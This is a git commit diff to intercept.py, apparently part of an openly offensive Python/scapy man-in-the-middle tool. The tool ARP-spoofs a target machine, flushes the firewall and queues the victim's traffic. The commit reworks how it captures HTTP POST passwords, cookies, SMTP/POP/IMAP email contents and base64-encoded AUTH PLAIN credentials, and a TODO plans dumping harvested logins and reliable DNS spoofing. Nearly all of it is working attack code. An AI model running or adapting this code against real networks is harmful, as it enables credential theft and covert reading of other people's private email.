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fixed up incoming/outgoing mail functions

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DanMcInerney 2013-10-27 15:29:11 -06:00
parent d6978fb21f
commit 528eb8dc1a
1 changed files with 165 additions and 110 deletions
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231
intercept.py
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@ -1,5 +1,12 @@
#!/usr/bin/python #!/usr/bin/python
'''
ADD A DICTIONARY OF LOGINS AND PASSWORDS AND ON CTRL-C HAVE IT THROW ALL THE USERNAMES, PASSWORDS, AND SERVER TO OUTPUT
MAKE DNSSPOOF RELIABLE
ADD wifi-monitor TO IT IF NO -ip OPTION EXISTS
MAKE MAILSPY NOT DOUBLE OUTPUT
'''
#from logging import getLogger #from logging import getLogger
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
@ -68,7 +75,8 @@ class Spoof():
class Parser(): class Parser():
headersFound = [] OheadersFound = []
IheadersFound = []
IMAPauth = 0 IMAPauth = 0
IMAPdest = '' IMAPdest = ''
POPauth = 0 POPauth = 0
@ -77,6 +85,7 @@ class Parser():
IRCnick = '' IRCnick = ''
oldack = '' oldack = ''
oldpkt = '' oldpkt = ''
fragged = 0
def start(self, payload): def start(self, payload):
try: try:
@ -84,6 +93,22 @@ class Parser():
pkt = Ether(data)/IP(data) pkt = Ether(data)/IP(data)
except: except:
return return
##ADDED FOR TSTING
# if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP) and pkt[TCP].dport == 80 and pkt[IP].src == victimIP:
# load = repr(pkt[Raw].load)[1:-1]
# ack = pkt[TCP].ack
# if 'POST ' in load:
# if ack == self.oldack:
# self.oldpkt = self.oldpkt+load
# load = self.oldpkt
# self.fragged = 1
# else:
# self.oldpkt = load
# self.oldack = ack
# self.fragged = 0
# print load+'\n'
# return
################
if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP): if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP):
dport = pkt[TCP].dport dport = pkt[TCP].dport
sport = pkt[TCP].sport sport = pkt[TCP].sport
@ -96,15 +121,17 @@ class Parser():
IP_src = pkt[IP].src IP_src = pkt[IP].src
# Can't use repr if we're gzip deflating which will be necessary when code injection is added # Can't use repr if we're gzip deflating which will be necessary when code injection is added
load = repr(pkt[Raw].load)[1:-1] load = repr(pkt[Raw].load)[1:-1]
mail_ports = [25, 26, 110, 143]
# Catch fragmented packets only if they're being sent from the victim to a web server # Catch fragmented packets only if they're being sent from the victim to a web server
if dport == 80: if dport == 80 or sport in mail_ports or dport in mail_ports:
if ack == self.oldack: if ack == self.oldack:
self.oldpkt = self.oldpkt+load self.oldpkt = self.oldpkt+load
load = self.oldpkt load = self.oldpkt
self.fragged = 1
else: else:
self.oldpkt = load self.oldpkt = load
self.oldack = ack self.oldack = ack
mail_ports = [25, 26, 110, 143] self.fragged = 0
if dport in mail_ports or sport in mail_ports: if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, MAC_dst, IP_dst, IP_src) self.mailspy(load, dport, sport, MAC_dst, IP_dst, IP_src)
if dport == 6667 or sport == 6667: if dport == 6667 or sport == 6667:
@ -184,21 +211,17 @@ class Parser():
if 'ocsp' in url: if 'ocsp' in url:
print B+'[+] POST: '+W+url print B+'[+] POST: '+W+url
elif body != '': elif body != '':
print B+'[+] POST: '+W+url+B+' HTTP POST load:',body+W urlsplit = url.split('/')
url = url[0]+'/'+url[1]
if self.fragged == 1:
print B+'[+] POST: '+W+url+B+" Fragmented HTTP POST's combined load: "+body+W
else:
print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W
username = re.findall(user_regex, body) username = re.findall(user_regex, body)
password = re.findall(pw_regex, body) password = re.findall(pw_regex, body)
self.user_pass(username, password) self.user_pass(username, password)
self.cookies(host, header_lines) self.cookies(host, header_lines)
# oldack = ack
# oldurl = url
# oldhost = host
# if oldack != ack:
# oldhttp = None
# combined_load = None
# else:
# oldload = load
host = None host = None
get = None get = None
post = None post = None
@ -319,9 +342,8 @@ class Parser():
if dport == 26 or dport == 25: if dport == 26 or dport == 25:
self.outgoing(load, body, header_lines, email_headers, IP_src) self.outgoing(load, body, header_lines, email_headers, IP_src)
# Find incoming messages # Find incoming messages
# if IP_dst == victimIP:
if sport in [110, 143]: if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers) self.incoming(headers, body, header_lines, email_headers, sport, dport)
def passwords(self, IP_src, load, dport, IP_dst): def passwords(self, IP_src, load, dport, IP_dst):
# Get rid of all the hex at the beginning of the load # Get rid of all the hex at the beginning of the load
@ -357,105 +379,138 @@ class Parser():
# This doubles up the outgoing message for some reason. Fix. # This doubles up the outgoing message for some reason. Fix.
def outgoing(self, headers, body, header_lines, email_headers, IP_src): def outgoing(self, headers, body, header_lines, email_headers, IP_src):
if IP_src == victimIP: # if IP_src == victimIP:
if 'Message-ID' in headers: if 'Message-ID' in headers:
for l in header_lines: for l in header_lines:
for x in email_headers: for x in email_headers:
if x in l: if x in l:
self.headersFound.append(l) self.OheadersFound.append(l)
if len(self.headersFound) > 3: if len(self.OheadersFound) > 3 and body != '':
print O+'[!] OUTGOING MESSAGE'+W print O+'[!] OUTGOING MESSAGE'+W
if args.write: if args.write:
logger.write('[!] OUTGOING MESSAGE\n') logger.write('[!] OUTGOING MESSAGE\n')
for x in self.headersFound: for x in self.OheadersFound:
print O+' ',x+W print O+' ',x+W
if args.write: if args.write:
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
self.headersFound = []
if body != '':
try: try:
body = body.split(r'\r\n\x')[0] body = body.split(r'\r\n\x')[0]
except:
pass
print O+' Message:',body+W print O+' Message:',body+W
except:
print O+' [!] Could not parse message body'+W
pass
if args.write: if args.write:
logger.write(' Message:'+body+'\n') logger.write(' Message:'+body+'\n')
self.OheadersFound = []
def incoming(self, headers, body, header_lines, email_headers): def incoming(self, headers, body, header_lines, email_headers, sport, dport):
message = ''
for l in header_lines: for l in header_lines:
for x in email_headers: for x in email_headers:
if x in l: if x in l:
self.headersFound.append(l) self.IheadersFound.append(l)
if body != '': if len(self.IheadersFound) > 3 and body != '':
if "BODY[TEXT]" not in body:
try: try:
beginning = body.split(r"\r\n")[0] beginning = body.split(r"\r\n", 1)[0]
message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1) body1 = body.split(r"\r\n\r\n", 1)[1]
message = message.split(beginning)[0][1:] message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
except: except:
print O+' Couldn\'t format message body:', body+W return
if len(self.headersFound) > 3 and message != '': if message != '':
print O+'[!] INCOMING MESSAGE'+W print O+'[!] INCOMING MESSAGE'+W
if args.write: if args.write:
logger.write('[!] INCOMING MESSAGE\n') logger.write('[!] INCOMING MESSAGE\n')
for x in self.headersFound: for x in self.IheadersFound:
print O+' '+x+W print O+' '+x+W
if args.write: if args.write:
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
print O+' Message:', message+W print O+' Message: '+message+W
if args.write: if args.write:
logger.write(' Message:'+message+'\n') logger.write(' Message: '+message+'\n')
self.headersFound = [] self.IheadersFound = []
def decode(self, load, dport): def decode(self, load, dport):
if dport == 26 or dport == 25: decoded = ''
# This can probably be optimized better...
for i in xrange(0,5):
if dport == 25 or dport == 26:
# Sometimes the hex at the beginning of the load goes more than 2 chars past the last \x
try: try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "") b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[i:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
# Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4 # Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[1:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[2:]
decoded = repr(b64decode(b64str)).replace("'", "").replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
except: except:
pass pass
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
break
else:
continue
else: else:
try: try:
b64str = load b64str = load[i:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:',decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load[1:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:',decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load[2:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:',decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
except: except:
pass pass
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
break
else:
continue
# if dport == 26 or dport == 25:
# try:
# b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
# # Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4
# if '@' in decoded:
# print R+'[!] Decoded:'+decoded+W
# if args.write:
# logger.write('[!] Decoded:'+decoded+'\n')
# else:
# b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[1:]
# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
# if '@' in decoded:
# print R+'[!] Decoded:'+decoded+W
# if args.write:
# logger.write('[!] Decoded:'+decoded+'\n')
# else:
# b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[2:]
# decoded = repr(b64decode(b64str)).replace("'", "").replace(r'\x00', ' ')
# if '@' in decoded:
# print R+'[!] Decoded:'+decoded+W
# if args.write:
# logger.write('[!] Decoded:'+decoded+'\n')
# except:
# pass
# else:
# try:
# b64str = load
# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
# if '@' in decoded:
# print R+'[!] Decoded:',decoded+W
# if args.write:
# logger.write('[!] Decoded:'+decoded+'\n')
# else:
# b64str = load[1:]
# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
# if '@' in decoded:
# print R+'[!] Decoded:',decoded+W
# if args.write:
# logger.write('[!] Decoded:'+decoded+'\n')
# else:
# b64str = load[2:]
# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
# if '@' in decoded:
# print R+'[!] Decoded:',decoded+W
# if args.write:
# logger.write('[!] Decoded:'+decoded+'\n')
# except:
# pass
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
class Queued(object): class Queued(object):
@ -466,7 +521,7 @@ class Queued(object):
self.q.set_queue_maxlen(5000) self.q.set_queue_maxlen(5000)
reactor.addReader(self) reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
print '[+] Queue started; waiting for data\n' print '[*] Queue started; waiting for data\n'
def fileno(self): def fileno(self):
return self.q.get_fd() return self.q.get_fd()
def doRead(self): def doRead(self):
@ -520,12 +575,12 @@ class Threads():
#Print all the variables #Print all the variables
def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP): def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[+] Active interface: " + interface print "[*] Active interface: " + interface
print "[+] DHCP server: " + DHCPsrvr print "[*] DHCP server: " + DHCPsrvr
print "[+] DNS server: " + dnsIP print "[*] DNS server: " + dnsIP
print "[+] Local domain: " + local_domain print "[*] Local domain: " + local_domain
print "[+] Router IP: " + routerIP print "[*] Router IP: " + routerIP
print "[+] Client IP: " + victimIP print "[*] Client IP: " + victimIP
#Enable IP forwarding and flush possibly conflicting iptables rules #Enable IP forwarding and flush possibly conflicting iptables rules
def setup(DN, victimMAC): def setup(DN, victimMAC):
@ -534,12 +589,12 @@ def setup(DN, victimMAC):
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('1\n') ipf.write('1\n')
ipf.close() ipf.close()
print '[+] Enabled IP forwarding' print '[*] Enabled IP forwarding'
os.system('iptables -F') os.system('iptables -F')
os.system('iptables -X') os.system('iptables -X')
os.system('iptables -t nat -F') os.system('iptables -t nat -F')
os.system('iptables -t nat -X') os.system('iptables -t nat -X')
print '[+] Flushed the firewall' print '[*] Flushed the firewall'
# PREROUTING is a rule that will be needed to be added when code injection is added to this script # PREROUTING is a rule that will be needed to be added when code injection is added to this script
# os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP) # os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP)
# os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP) # os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP)
@ -548,7 +603,7 @@ def setup(DN, victimMAC):
os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
print '[+] Forwarded traffic to the queue' print '[*] Forwarded traffic to the queue'
def main(): def main():
#For use in URL_cb, mailspy respectively #For use in URL_cb, mailspy respectively
@ -604,7 +659,7 @@ def main():
else: else:
interface = routerRE.group(3) interface = routerRE.group(3)
print "[+] Checking the DHCP and DNS server addresses..." print "[*] Checking the DHCP and DNS server addresses..."
# DHCP is a pain in the ass to craft # DHCP is a pain in the ass to craft
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/ dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src="0.0.0.0",dst="255.255.255.255")/ IP(src="0.0.0.0",dst="255.255.255.255")/
@ -640,18 +695,18 @@ def main():
print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP) print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
try: try:
routerMAC = Spoof().originalMAC(routerIP) routerMAC = Spoof().originalMAC(routerIP)
print "[+] Router MAC: " + routerMAC print "[*] Router MAC: " + routerMAC
except: except:
exit("[!] Could not get router MAC address") exit("[!] Could not get router MAC address")
try: try:
victimMAC = Spoof().originalMAC(victimIP) victimMAC = Spoof().originalMAC(victimIP)
print "[+] Victim MAC: " + victimMAC print "[*] Victim MAC: " + victimMAC
except: except:
exit("[!] Could not get victim MAC address") exit("[!] Could not get victim MAC address")
if dnsIP != routerIP: if dnsIP != routerIP:
try: try:
dnsMAC = Spoof().originalMAC(dnsIP) dnsMAC = Spoof().originalMAC(dnsIP)
print "[+] DNS server MAC: " + dnsMAC print "[*] DNS server MAC: " + dnsMAC
except: except:
print "[!] Could not get DNS server MAC address" print "[!] Could not get DNS server MAC address"
if dnsIP == routerIP: if dnsIP == routerIP: